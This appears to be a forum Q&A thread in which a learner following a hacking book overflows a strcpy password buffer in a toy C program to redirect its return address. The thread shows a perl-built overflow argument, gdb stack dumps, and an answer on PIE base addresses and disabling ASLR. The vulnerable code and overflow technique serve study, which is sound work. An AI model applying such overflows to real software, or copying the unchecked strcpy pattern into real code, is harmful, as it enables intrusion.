I’m following a book on hacking, currently studying buffer overflows. My silly_password.c program takes a command line argument which overflows into the return address of a function. I have been able to fill the return address with arbitrary values. For example, ./silly_password.c AAAAAAAAAAAAAAAAAAAAAAA fills the return address with 0x41414141, since 0x41 is the ASCII encoding of the letter A.
I want to fill the return address with 0x00001292, since this is the address of a particular instruction in the program which I want to maliciously execute. Calling gdb -q --args silly_password $(perl -e 'print "x92x12" x 20;') effectively fills the registers in the stack with 0x12921292, which is close to 0x00001292, the value I want.
─── Variables ───────────────────────────────────────────────────────────────────────────────
arg password = 0x7fffffffe0b7 "22222222222222222222222222222222222222222222222222222…
loc password_buffer = "2222222222222222222222222222222222222222", auth_flag = 0
─────────────────────────────────────────────────────────────────────────────────────────────
>>> x/32xw $sp
0x7fffffffdb60: 0x00000000 0x00000000 0xffffe0b7 0x00007fff
0x7fffffffdb70: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdb80: 0x12921292 0x12921292 0x12921292 0x12921292
0x7fffffffdb90: 0x12921292 0x12921292 0x12921292 0x12921292
0x7fffffffdba0: 0x12921292 0x12921292 0xf7ffda00 0x00000002
0x7fffffffdbb0: 0x00000002 0x00000000 0xf7c23a90 0x00007fff
0x7fffffffdbc0: 0xffffdcb0 0x00007fff 0x5555523a 0x00005555
0x7fffffffdbd0: 0x55554040 0x00000002 0xffffdcc8 0x00007fff
We see that the password buffer is effectively overflowing. However, if I try to add the necessary zeroes, running gdb with
gdb -q --args silly_password $(perl -e 'print "x92x12x00x00" x 20;')
my stack looks as follows:
─── Variables ───────────────────────────────────────────────────────────────────────────────
arg password = 0x7fffffffda9f "22222": -110 '222'
loc password_buffer = "22222", '00' <repeats 13 times>, auth_flag = 0
─────────────────────────────────────────────────────────────────────────────────────────────
>>> x/32xw $sp
0x7fffffffbc40: 0x00000000 0x00000000 0xffffda9f 0x00007fff
0x7fffffffbc50: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffbc60: 0x00001292 0x00000000 0x00000000 0x00000000
0x7fffffffbc70: 0xffffbc90 0x00007fff 0x5555528e 0x00005555
0x7fffffffbc80: 0xffffbda8 0x00007fff 0xf7ffdab0 0x00000322
0x7fffffffbc90: 0x00000322 0x00000000 0xf7c23a90 0x00007fff
0x7fffffffbca0: 0xffffbd90 0x00007fff 0x5555523a 0x00005555
0x7fffffffbcb0: 0x55554040 0x00000322 0xffffbda8 0x00007fff
Now it is not overflowing at all!
Why does my first command (the one only with x92x12) effectively produces an overflow while the latter doesn’t? And how could I produce an overflow of the kind shown in the first stack, but filling the registers with the correct value of 0x00001292?
For reference, the relevant part of the code is:
int check_authentication(char *password) {
char password_buffer[16];
volatile int auth_flag = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag; # THIS IS THE LINE BREAK OF THE STACKS SHOWED ABOVE
}
2
You most definitely do not want 0x00001292. That’s not a valid address. It may seem like that is the value you want, but that is just because you are looking (statically) at a Position Independent Executable (PIE) that has no fixed based address and will be positioned randomly in memory by the OS. It may seem like the binary itself has base address 0x0 or that .text starts at 0x1000, but that’s just an offset. See also: Why does the VirtAddr of the LOAD segment in my ELF binary show as 0x0000000000000000?
You have two options:
-
Re-compile your program as non-PIE. You can do this by adding
-no-pie -fno-pieto the GCC command line. Then, verify that the new address is not as low as it was before. Expect something like0x401292or anyway higher than0x10000(which is usually the default lowest address for programs on Linux). -
Keep using the PIE program you have, but start it under GDB first and take a look at the memory map:
gdb -q ./silly_password (gdb) start AAAAAAAAAAA ... (gdb) info inferior Num Description Executable * 1 process 11107 ./silly_password (gdb) !cat /proc/11107/maps 555555554000-555555558000 r--p 00000000 103:05 1443328 ./silly_password <=== base 555555558000-55555556b000 r-xp 00004000 103:05 1443328 ./silly_password <=== .text 55555556b000-555555574000 r--p 00017000 103:05 1443328 ./silly_password 555555575000-555555576000 r--p 00020000 103:05 1443328 ./silly_password 555555576000-555555577000 rw-p 00021000 103:05 1443328 ./silly_password ...
Take the base (in the above example 0x555555554000) and sum it to the offset you have: 0x555555554000 + 0x1292 == 0x555555555292. That’s the address you want.
See also my answer here for more info: In a C program, does return address of a function frame point to the .text section?
I would recommend the first option as it is a lot simpler to deal with. Using the second option, if you run your program without GDB it will be mapped at random addresses by the OS every time. You will have to locally disable ASLR if you don’t want the address to keep changing. You can do this starting a new shell with using setarch $(uname -m) -R /bin/bash or in other ways (just google “how to disable ASLR”). GDB disables randomization by default for you if you start the program under it (not if you attach after starting).
3